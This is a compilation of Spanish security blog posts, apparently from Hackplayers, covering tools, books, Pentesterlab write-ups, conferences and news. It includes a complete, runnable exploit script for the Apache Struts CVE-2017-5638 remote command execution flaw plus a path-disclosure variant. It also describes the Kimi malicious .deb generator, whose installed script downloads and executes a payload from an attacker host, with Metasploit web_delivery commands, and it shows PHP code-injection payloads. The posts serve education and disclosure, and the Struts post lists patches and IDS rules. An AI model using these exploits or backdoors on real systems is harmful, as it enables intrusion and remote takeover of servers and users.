Análisis de vulnerabilidades en contenedores Docker con Dagda

Dagda es una herramienta de código abierto, escrita en Python para realizar análisis estáticos de vulnerabilidades conocidas en imágenes/contenedores de Docker.

También ayuda a monitorizar los contenedores Docker en ejecución para detectar actividades anómalas. Para ello, recupera información sobre el software instalado en la imagen de Docker, como los paquetes del sistema operativo, las dependencias, los módulos, etc. y los compara con una base de datos de vulnerabilidades. Esta base de datos se crea combinando datos de fuentes de vulnerabilidades como NVD, SecurityFocus BID & Exploit-DB en una base de datos MongoDB. La base de datos también almacena sus "análisis" de análisis estáticos ​​realizados en las imágenes de Docker y su resultado durante una duración que se especifique.

Dagda soporta múltiples imágenes Docker en distribuciones:
  •     Red Hat / CentOS / Fedora
  •     Debian / Ubuntu
  •     OpenSUSE
  •     Alpine Linux
El motor base Dagda es una mezcla de OWASP Dependency Check y Retire.js. Presumiblemente, puede analizar dependencias de Java, Python, NodeJS, Java Script, Ruby y PHP. Para el análisis de comportamiento, Dagda se integra con Sysdig Falco y requiere lo siguiente para ser instalado:

  •     Python3.4.5 o posterior
  •     MongoDB 2.4 o posterior
  •     Docker
  •     Pip3
    •         PyMongo
    •         Requests
    •         Python-dateutil
    •         Joblib
    •         Docker-py
    •         Flask
    •         Flask-cors
    •         PyYAML

Todos los aspectos de esta herramienta pueden ser también controlados a través de la REST-API. La CLI de Dagda utiliza la API REST para acceder a Dagda.

Uso de Dagda:

Después de la instalación, simplemente ejecuta lo siguiente desde la línea de comandos:

Python3 dagda.py check --docker_image DOCKER_IMAGENAME

Si todo está Ok devuelve un ID de exploración, que luego utiliza para recuperar los informes de análisis. ¿Cómo? Así:

Python3 dagda.py history DOCKER_IMAGENAME --id SCANID

Descargar Dagda:

Puedes descargar Dagda 0.5.0 aquí.

Proyecto: https://github.com/eliasgranderubio/dagda

Libros: Red & Blue Team Field Manual (RTFM) (BTFM)

Hace tiempo que no hacíamos un post para hablaros de algún libro así que hoy lo haremos por partida doble con los títulos Red Team Field Manual (RTFM) de Ben Clark publicado en 2013 y su casi homónimo Blue Team Field Manual (BTFM) de Alan J. White y también con Ben Clark como colaborador, lanzado a principios de este año 2017.

Red Team ó Blue Team... tú eliges
El primero es una pequeña guía de referencia dirigida a los miembros de un Red Team. Contiene la sintaxis básica para un montón de comandos de Linux y Windows, pero también contiene casos de uso únicos para herramientas poderosas como Python y Windows PowerShell y para realizar muchas otras tareas que comúnmente lleva a cabo un equipo de hacking ético en base de datos, web, wireless, etc. Nada de teoría, sólo práctica :)

El segundo dirigido al Blue Team es una Guía de Respuesta a Incidentes de Ciberseguridad que se alinea con el Marco de Ciberseguridad del NIST que consiste en las cinco funciones principales de Identificar, Proteger, Detectar, Responder y Recuperar, proporcionando los pasos tácticos a seguir y los comandos a utilizar para prepararse, afrontar y recuperarse de un incidente de seguridad.

Ambos se presentan como pequeños libros de consulta (de 95 y 143 páginas respectivamente) para tener a mano los comandos necesarios por si por ejemplo falla la conexión en Internet y no puedes "googlear" en ese momento. Hoy en día es difícil pero quién sabe... además podemos encontrar ambos en Amazon a un precio bastante asequible (6,16€ y 14,60€) así que nunca está de más hacerles un hueco en nuestra biblioteca personal, aunque sea por postureo ;)

"Esta es tu última oportunidad. Después de esto, no hay vuelta atrás. Toma la píldora azul: el cuento termina, despiertas en tu cama y creerás lo que quieras creer. Toma la píldora roja: permaneces en el país de las maravillas y te mostraré qué tan profundo llega el agujero del conejo. Recuerda, todo lo que estoy ofreciendo es la verdad, nada más."

RTFM: https://www.amazon.es/Rtfm-Red-Team-Field-Manual/dp/1494295504
BTFM: https://www.amazon.es/Blue-Team-Field-Manual-BTFM/dp/154101636X

[Pentesterlab write-up] Web For Pentester I - File upload. LDAP & XML attacks

Llegamos a la última entrada de los solucionarios de “Web for pentester I” de Pentesterlab, que más que un lab ha sido un didáctico viaje por las vulnerabilidades web más comunes, permitiendo un buen entendimiento de las mismas comparando cada explotación (payload) con el código PHP vulnerable del servidor.

Así que vamos a cerrar esta serie de cinco entradas con los ejercicios correspondientes a las vulnerabilidades que nos quedaban pendientes: subida de archivos y ataques LDAP y XML.


FILE UPLOAD

La posibilidad de subir archivos es un requisito funcional en muchas aplicaciones web, pero también un riesgo significante para la misma.

Desde el prisma del atacante, encontrar un formulario para subir archivos es una buena noticia porque puede suponer la puerta para introducir código malicioso ejecutable tanto en el servidor como en el cliente.

Por ejemplo, cualquier carencia o fallo en la verificación del tipo de contenido (content-type), de la extensión del fichero o de la imagen subidos puede suponer la introducción de una web shell que comprometa por completo al servidor y a los usuarios que lo visitan.

Ejercicio 1

Normalmente para implementar la subida de archivos bastará un sencillo código con una parte en HTML para crear una interfaz de usuario que permite al usuario elegir qué archivo cargar, y otra parte con un script PHP que contiene el código que maneja la solicitud para cargar el archivo seleccionado.

En el primer ejercicio no hay restricciones en el tipo de archivos permitidos para la subida. Por lo tanto, un atacante puede cargar un archivo con una shell en PHP (u otro código malicioso) que puede conducir al control total del servidor. 

SERVIDOR
<?php require_once('../header.php'); ?>


<?php
if(isset($_FILES['image']))
{ 
  $dir = '/var/www/upload/images/';
  $file = basename($_FILES['image']['name']);
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
  {
  echo "Upload done";
  echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
  }
  else 
  { 
      echo 'Upload failed';
  }
}
?>


<form method="POST" action="example1.php" enctype="multipart/form-data">    
Mon image : <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">

</form> 


<?php require_once('../footer.php'); ?>

Para la PoC basta con subir un simple código php con la función phpinfo:

PAYLOAD
echo "<?php phpinfo(); ?>" > phpinfo.php

¡No dejes que obtengan tu IP fácilmente!

Recientemente hemos visto en nuestro grupo de Telegram un enlace acortado que redireccionaba a un sitio destinado a la obtención y el seguimiento de la IP del visitante: hablamos de un IP tracker/logger. Y bueno, sirva ésto para que hagamos primero un pequeño ejercicio para preguntarnos cuál es el grado de la importancia de mostrar u ocultar nuestra IP pública en Internet...


En España el Tribunal Supremo confirmó en la Sentencia del 3 de octubre de 2014 que las “direcciones IP son datos de carácter personal” y, por tanto, sujetas a la protección de la Ley Orgánica de Protección de Datos (LOPD). Por otro lado, el Reglamento (UE) 2016/679 del Parlamento Europeo y del Consejo, aprobado en abril de 2016 y que entrará en vigor en 2018, reconoce que "Las personas físicas pueden ser asociadas a identificadores en línea facilitados por sus dispositivos, aplicaciones, herramientas y protocolos, como direcciones de los protocolos de Internet, identificadores de sesión en forma de «cookies» u otros identificadores, como etiquetas de identificación por radiofrecuencia. Esto puede dejar huellas que, en particular, al ser combinadas con identificadores únicos y otros datos recibidos por los servidores, pueden ser utilizadas para elaborar perfiles de las personas físicas e identificarlas”.


Por lo tanto, una IP no es "simplemente una IP", parece lo suficientemente importante, ¿verdad? Y es que como se suscribe arriba mediante ella y en combinación con otras "huellas" digitales es posible identificar a una persona física. De hecho, ya de por sí sola ofrece la posibilidad de un detalle en la geolocalización impresionante. Todo aquello hace que una dirección IP sea lo suficientemente importante para que un tercero se preocupe en obtenerla, etiquetarla y almacenarla...

JSShell, una webshell multiusuario escrita en python/flask (servidor) y js/html (cliente)

JSShell de Daniel Abeles es una webshell multiusuario con una parte servidor escrita en Python con Flask y otra cliente en Javascript y HTML. Aunque inicialmente se creó para debuggear navegadores algo "exóticos", puede utilizarse para otros propósitos, siempre baja la responsabilidad y riesgo de cada uno.

Instalación

Se recomienda usar un entorno virtual y python 3.6. aunque versiones anteriores funcionan también bien:

pyenv virtualenv -p python3.6 venv
pyenv activate venv

virtualenv -p python3.6 venv
source venv/bin/activate


Para ambos:

pip install -r requirements.txt

Características

- Multicliente
- Soporta objetos DOM cyclic
- Scripts Pre flight
- Command queue
- Command Context

Moscowc0n: una conferencia de hacking de Rusia.. ¡en español! (Московская хакерская конференция на испанском языке)

Creo que ya hemos comentado en alguna ocasión la buena noticia de la proliferación de conferencias de hacking con ponentes hispanohablantes, pero hasta ahora lo normal era que se hicieran en España y en Latinoamérica. Por eso me sorprendió mucho Moscowc0n, el primer evento de hacking de Rusia ¡en español! Sí... habéis leído bien... una oportunidad de presenciar ponencias en castellano en el gélido Moscú, unas de las "capitales" mundiales del hacking de siempre y una oportunidad de intercambiar esta cultura underground tan lejana y a la vez tan cercana.

Y es que trasladarse tan lejos convierte este evento en una auténtica expedición, la fecha será el 2, 3 y 4 de junio de 2017 en los que evidentemente no puede dejarse escapar la ocasión de realizar también un poco de turismo/cata de vodkas:

Junio 2017
Viernes 2: Visitas guiadas & turismo
Sábado 3: Charlas & Networking
Domingo 4: Visitas guiadas & turismo

https://moscowc0n.com/
https://twitter.com/MoscowC0n

 La asistencia es gratuita, los 10 ponentes anunciados por el momento prometen (con Monica Valle como presentadora) y el escenario es idílico, así que si te puedes rascar el bolsillo y pagarte el viaje seguramente será sin duda un fin de semana inolvidable!

[Pentesterlab write-up] Web For Pentester I - Code & Commands Injection

Damos un pasito más, ya casi terminando el lab “Web for pentester I” de Pentesterlab, esta vez realizando los ejercicios correspondientes a las vulnerabilidades de inyección de código e inyección de comandos.


Cuando hablamos de inyección de comandos el objetivo es la ejecución de comandos (valga la redundancia) en el sistema operativo del host a través de la aplicación vulnerable, la cual se realiza con los privilegios del usuario de la aplicación. En el caso de inyección de código el atacante puede agregar su propio código que luego es ejecutado por la aplicación. Digamos que en “Code Injection” el atacante amplía la funcionalidad por defecto de la aplicación sin necesidad de ejecutar comandos del sistema, aunque también puede hacerlo utilizando las funciones correspondientes del lenguaje de programación utilizado (por ej. system en php).

Ambas pueden explotarse cuando una aplicación no filtra (o lo hace de forma incorrecta) los datos introducidos por el usuario (formularios, cookies, cabeceras HTTP, etc.).

CODE INJECTION

Ejercicio 1:

En el primer ejemplo vemos que el desarrollador ha usado la función eval para ejecutar lo que pasas como parámetro como una línea de código php y... bueno muchos dicen que "eval is evil" y al no filtrar la entrada antes podemos simplemente concatenar otro comando con un simple punto (".") y usar # para comentar el resto del código:

SERVIDOR
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";

eval($str);
?>

PAYLOAD
http://pentesterlab/codeexec/example1.php?name=hacker%22.system(%27hostname%27)%3B%23

Decoded: hacker".system('hostname');#

Charla sobre "Introducción a: Code Injection, Hooking y Reversing"

Desde Hackplayers queremos invitaros al curso/charla online sobre "Introducción a: Code Injection, Hooking y Reversing" totalmente gratuito, en el cual se tocarán los siguientes temas:

     - PE Container (exe,dll,wtf...) (x86/x64, code, sections, resources, imports, exports)
     - Packers, depackers.
     - ASM Bytecode.
     - Reversing 101: IDA + Sublime text sample.
     - Injecting codes (methods, known dlls, threading, wndproc stealing)
     - Winmine menu sample: WinApi, Value editing, Function calling, Hooking.
     - Winmine sudoku sample: WinApi, Hooking next level.
     - Shitfest, .net java juegos.
     - Y algunas cosas más...

El curso/charla impartido por el ponente Pabloko, se dará a un grupo muy reducido de personas que serán escogidas aleatoriamente de entre todas las inscripciones y podrán interactuar con el ponente en directo. En el caso de no ser escogidos para formar parte de dicho grupo, no tienes que preocuparte, nos encargaremos de realizar un streaming desde el canal de YouTube de Hackplayers para que podáis seguir la charla en directo.

· ¿CÓMO INSCRIBIRSE?

Los interesados deberán mandar un email a: cursocharla.hackplayers@gmail.com. El email deberá llevar como asunto "Curso/Charla Hackplayers por Pabloko", también en el email se deberá escribir el nombre de usuario en el foro de Hackplayers, el nombre de usuario en Telegram (opcional) y responder a la pregunta: ¿Por qué te gustaría participar en el curso/charla "Introducción a: Code Inyection, Hooking y Reversing"?.

Entre todas las inscripciones se realizará un sorteo totalmente aleatorio. Los ganadores serán notificados por email y deberán confirmar su asistencia en menos de 12 horas. En el caso de no confirmarse la asistencia se volverá a realizar el sorteo para ocupar las plazas vacantes.

La fecha limite de inscripción es 14/03/2017 a las 20:00 hora española.

· HORARIO

El curso/charla se realizará realizó el día 16 de marzo a las 22:00 horas.
Para cualquier duda no dudéis en consultarnos a través de nuestras RRSS.

· VIDEO

¡Actualización!  ya tenéis el video subido a: https://youtu.be/7CpQ_lPIv6s

Cómo crear de un paquete .deb

Bueno como todos sabemos la creación de un paquete .deb es bastante sencilla , ¿o no? Depende de cómo lo miremos. He estado viendo muchos tutoriales en Internet y me he adentrado un poco en este mundillo.

Lo primero y antes de empezar nos haremos la siguiente pregunta:

¿Qué es un paquete .deb?


Sabiendo esta premisa, podemos continuar. Vamos a tomar como ejemplo 4nonimizer para poder crear un paquete .deb autoinstalable del mismo.

Lo descargamos de https://github.com/Hackplayers/4nonimizer.git y una vez tenemos la carpeta con todo el contenido de 4nonimizer procedemos a crear la jerarquía de directorios donde queremos que se aloje 4nonimizer, es decir, si queremos que se descomprima e instale en /opt/ crearemos una carpeta que llamaremos deb y dentro de ella /opt/ y dentro de la misma meteremos 4nonimizer :


Protégete contra dispositivos USB maliciosos como BadUSB con USG (el "firewall para USB")

USG es un dongle hardware que se puede usar entre el puerto USB del ordenador y dispositivos USB no confiables: sólo pasará un conjunto limitado de instrucciones y datos entre los dos, sin incluir las instrucciones utilizadas para activar BadUSB.


Esto tiene limitaciones como que el USG sólo soporta algunas clases de dispositivos (flash drives, teclados y ratones) aunque está planeado incluir más en futuras actualizaciones de firmware - aún así, en cualquier caso supera al enfoque del USB Condom que hacía el puerto USB inútil para todo excepto la carga.
 

Los dongles de hardware de código abierto son construidos a mano por Robert Fisk en Nueva Zelanda, pero puedes descargar los planos y construir los tuyos si no confías:

Proyecto: https://github.com/robertfisk/USG
Wiki: https://github.com/robertfisk/USG/wiki/

Más info:
Technical Details for the Curious
Firmware Development Environment
LED Diagnostics

Exploit RCE para Apache Struts (CVE-2017-5638) o cómo miles de servidores en Internet están en peligro

Ayer de madrugada unos de los feeds chinos que seguimos habitualmente hizo saltar por los aires nuestra actividad llevando casi toda nuestra atención a un PoC/exploit para la vulnerabilidad CVE-2017-5638 que permite RCE (ejecución remota de comandos) en las últimas versiones de Apache Struts. 

El script que os mostramos a continuación, liberado por Nike Zheng (célebre y habitual hostigador de Struts), primero en páginas como Freebuf o Bobao, se aprovecha de un fallo en la función de upload del parser de Jakarta y muestra cómo modificar la cabecera Content-Header para inyectar comandos de sistema operativo cuando se llama a un action:
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import urllib2
import requests
import httplib

from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

#uso: python script.py <url> "<command>"
 
def exploit(url, cmd):
    payload = "Content-Type:%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
 
    try:

        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        #request = urllib2.Request(url, headers=headers)
        request = requests.get(url, headers=headers,verify=False)
        #page = urllib2.urlopen(request).read()

    except httplib.IncompleteRead, e:

        request = e.partial

    print(request.text)

    return request

if __name__ == '__main__':

    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")

    else:

        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)

        exploit(url, cmd)

Si lo ejecutáis contra una aplicación vulnerable el resultado será la ejecución remota de comandos con el usuario que ejecuta el servidor. Así de sencillo:


Cualquier búsqueda en Google con un dork 'filetype:action' arroja unos 35 millones de resultados, de los cuales un alto porcentaje es vulnerable... el volumen y la criticidad de los servicios afectados es simplemente ... dramático.
 
Hemos dedicado horas a reportar a empresas, gobiernos, fabricantes e incluso particulares para que parchearan y corrigieran lo antes posible la vulnerabilidad, pero el exploit ya ha saltado a las grandes páginas de 'advisories' y ya se han observado intentos de explotación masivos en Internet, incluso bastante sofisticados con el objetivo de conseguir persistencia o modificaciones como las que nos trae nuestro compi Sebastian Cornejo (curiositysec) que permite obtener el path de la aplicación, paso previo a la subida de una shell al servidor:
def getpath(url):

payload = "Content-Type:%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#path=(@org.apache.struts2.ServletActionContext@getServletContext().getRealPath(\"/\")))."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.CopyUtils@copy(#path,#ros))."
payload += "(#ros.flush())}"

try:

headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
#request = urllib2.Request(url, headers=headers)
request = requests.get(url, headers=headers,verify=False)
#page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
request = e.partial
 
print("Path App: "+ request.text)

Como veis la criticidad es máxima y la noticia corre como la pólvora y URGE TOMAR CONTRAMEDIDAS LO ANTES POSIBLE:

- actualizar a Apache Struts (2.3.32 / 2.5.10.1 o posteriores) 
- actualizar firmas del IDS/IPS. Por ej. Snort ya incluye reglas en server-apache.rules: SERVER-APACHE Apache Struts remote code execution attempt (SIDs: 41818, 41819)

Fuentes:
- http://www.freebuf.com/vuls/128668.html
- http://bobao.360.cn/learning/detail/3571.html
- http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html#more
- https://packetstormsecurity.com/files/141494/S2-45-poc.py.txt

Wikileaks desata el mayor filtrado de información de la CIA de la historia, incluyendo su arsenal de herramientas de hacking (#Vault7)

El mes pasado (desde el 4 de febrero de 2017), Wikileaks empezó a enviar una serie de enigmáticos tweets acerca de “Vault 7”, mostrando distintas imágenes con preguntas de "Qué", "Dónde", "Cuándo", "Quién", "Por qué" y "Cómo" seguidas del hashtag #Vault7... pero ¿qué es "Vault 7"?



Hoy por fin se ha desvelado/desatado el misterio y el resultado es impactante: se trata de lo que puede ser el mayor filtrado de información de la CIA de la historia. Extraída de un Centro de Ciberinteligencia en Langley (Virgina) supuestamente aislado y seguro, incluye en total 8761 documentos clasificados y, lo que más nos interesa a nosotros, la mayor parte de su arsenal de hacking, incluyendo malware, virus, troyanos, exploits de tipo 0-day, RATs y otro malware, todo con su documentación correspondiente... El archivo parece haber estado circulando de forma no autorizada entre antiguos hackers y proveedores del Gobierno, uno de los cuales le ha proporcionado fragmentos a Wikileaks.

Toda esta información empezará a filtrarse por partes a partir de hoy. De momento ya se puede descargar libremente el primer torrent, un archivo comprimido con 7-zip cuya contraseña será desvelada por Twitter mañana a las 9 AM ET.


¿Y qué podemos encontrar en estos leaks? Pues como decimos un verdadero arsenal de herramientas creadas por una plantilla de 5.000 hackers que durante años ha estado trabajando para la CIA, millones de líneas de código destinadas a convertir cualquier dispositivo doméstico en una herramienta de espionaje al servicio del Gobierno de EE.UU. y sus aliados, incluyendo iPhones de Apple, smartphones Android, vulnerabilidades en sistema operativo (Windows, OSx, Linux, routers) y hasta televisores Samsung. Amén de evadir el cifrado de WhatsApp, Signal, Telegram, Wiebo, Confide, Cloackman, técnicas, malware y un largo etc. que, en definitiva, pueden hacer tambalear nuestro "mundo" en las próximas semanas.

No sé si realmente es muy ético filtrar toda esta información sin contactar antes con los fabricantes porque muchos terceros maliciosos se aprovecharán de ello para explotar diferentes dispositivos y tecnologías, pero supongo que hacer un ejercicio de "responsible disclosure" dada la magnitud de la que hablamos, que algunos fabricantes incluso puedan tener acuerdos de colaboración secretos y que el riesgo que supone tratar estas cosas, es muy difícil si no imposible hacerlo. Lo que está claro es que estas herramientas estaban ya siendo utilizadas por unos pocos y, aunque la transición para parchear todo será dura y difícil, el resultado al final será que todos estaremos un poco menos in-seguros.

Lo que está claro es que habrá que estar *muy* *muy* atentos. Os dejo con la nota de prensa oficial de Wikileaks:

https://wikileaks.org/ciav7p1/

Kimi, un generador de paquetes .deb maliciosos

Kimi es un sencillo script escrito en Python para crear un paquete Debian que activará un backdoor en el mismo momento en que la víctima intente instalarlo. 


Lo que hace es desplegar un fichero bash en el directorio  “/usr/local/bin/”: 
 
 #!/bin/bash
python -c "import urllib2; r = urllib2.urlopen('http://192.168.0.102:8080/SecPatch'); exec(r.read());"  

que se ejecutará inmediatamente al ser llamado mediante el fichero postinst:

#!/bin/bash

chmod 2755 /usr/local/bin/prueba && /usr/local/bin/prueba 

Como veis, la llamada es hacia la máquina del atacante que hospeda un payload, que previamente generó un servidor mediante el módulo Web Delivery de Metasploit 

msf > use exploit/multi/script/web_delivery
 msf exploit(web_delivery) > set srvhost 192.168.0.102
 srvhost => 192.168.0.102
 msf exploit(web_delivery) > set uripath /SecPatch
 uripath => /SecPatch
 msf exploit(web_delivery) > set Lhost 192.168.0.102
 Lhost => 192.168.0.102
 msf exploit(web_delivery) > show options
 msf exploit(web_delivery) > exploit 

y generó el payload malicioso con:
 
sudo python kimi.py -n prueba -l 192.168.0.102 -V 1.0

Finalmente como podéis ver en la siguiente imagen, al instalar el paquete, el atacante obtendrá una sesión sobre la máquina de la víctima:


El proyecto fue hecho para integrarse con Venom Shellcode Generator 1.0.13, pero puede usarse de forma independiente y puede adaptarse para que funcione fácilmente con otro generador de payloads.

Se ha probado en:

- Linux Mint 17.2 Cinnamon (Ubuntu 14.04)
- ParrotOS (Debian Jessie)
- Kali Rolling 2.0

El nombre de la tool proviene de Kimimaro de la serie Naruto
Proyecto: https://github.com/ChaitanyaHaritash/kimi

Hey MYCROFT! AI para todos

Buenas, hoy no estoy aquí para hablaros de seguridad...¿o si? no se... hoy me quiero hacer eco de uno de los proyectos que más me ha entusiasmado últimamente.

Cuando era pequeño siempre soñé con tener un "harvis" en casa, como Iron-man, y mi pregunta es ¿a quién no le gustaría?

Poco a poco nos estamos acercando a ese punto, con plataformas como Aura de Telefónica o asistentes personales como Cortana de Microsoft o Siri de Apple que nos brindan una manera más natural de comunicarnos con nuestro software.

La verdad es que mola que las grandes compañías dispongan de estos avances tecnológicos que pueden "ayudarnos" en nuestro día a día....

Pero qué hay de nosotros los desarrolladores independientes, geeks, hackers, frikis, etc., personas que no sólo nos conformamos con utilizar las cosas, sino que tenemos esa necesidad intrínseca de entenderlas y desmenuzarlas. Bueno, es aquí cuando yo ilumino con sabiduría y suena un ¡¡¡TACHÁN!!! Creemos que el futuro de la IA debe ser abierto, no una caja negra críptica que sólo unos pocos entienden. Mycroft nos brinda la oportunidad de muy buen grado.

¿Qué es Mycroft?

AI PARA TODOS

Mycroft es el primer asistente de voz de código abierto del mundo. Se puede ejecutar en cualquier lugar - en una computadora de escritorio, dentro de un automóvil, incluso se ejecuta en una raspberry pi. Está abierto para que pueda ser remixado, ampliado, mejorado. Se puede utilizar en cualquier cosa, desde un proyecto científico hasta una aplicación de software empresarial.

Actualmente lo estoy utilizando en un par de proyectos personales: domotizando mi casa con Mycroft, y en un pequeñito autómata de compañía con la versión Picroft... y pronto publicaré algo.

Mycroft Core es el módulo principal que compone la plataforma Mycroft Intelligence Artificial. Mycroft hace uso del Adapt Intent Parser, del software Speech-to-Text y del Text-to-Speech. La idea detrás de la plataforma es poder habilitar la voz de cualquier dispositivo y convertirlo en un asistente personal inteligente, capaz de realizar una variedad de tareas. Mycroft se utiliza a menudo para referirse al producto de hardware producido por Mycroft AI, Inc. - para evitar confusión a partir de ahora hablaremos de  "Mycroft Core".


Instalación

Y bueno, para ir abriendo boca vamos a instalar en nuestro sistema la versión de desarrollo de Mycroft-core que, por el momento, sólo podemos instalar en sistemas linux.

Preparados para la #Rooted2017

Desde que se celebró la primera RootedCON en 2010 el panorama de la seguridad TI ha cambiado y su presencia e influencia (en todos los ámbitos) se ha incrementado exponencialmente en nuestro país. Las empresas, una vez pasado el escollo de la crisis y animadas por los famosos casos de intrusiones informáticas en grandes compañías, alarmadas por las graves consecuencias de las grandes fugas de información y/o impacto en su imagen, ahora se toman muy en serio lo que con tanto populismo se denomina *ciberseguridad* y, por fin, invierten.
Lo hemos notado todos con la creciente demanda de puestos de trabajo y la formalización de nuevos equipos de hacking ético, red teams, blue teams... La demanda crece y con ello el número de profesionales y entusiastas que se suben al carro de la seguridad informática. Quizás algunos de los que llevemos más años tengamos cierta impresión de que cada vez nos alejamos más y más de este mundo underground casi oculto del "hacker", pero pienso que con esta expansión el conocimiento, las comunidades y la competitividad también aumentan y eso por supuesto no puede ser si no una gran noticia para todos.

La demanda laboral, la formación, el impacto en los medios... todo cuenta, donde antes había dos conferencias ahora afloran multitud en diferentes ciudades. El público es mayor que nunca, la exigencia actual es máxima y las charlas han de ser académicas pero también innovadoras e impactantes. También los talleres, el precio, la organización y, en definitiva, cada detalle ahora más que nunca tiene que ser de la máxima calidad.

¿Podrá entonces la RootedCON, una de las CON pioneras en España, adaptarse a los tiempos que corren? Allí estaremos para comprobarlo...

https://www.rootedcon.com/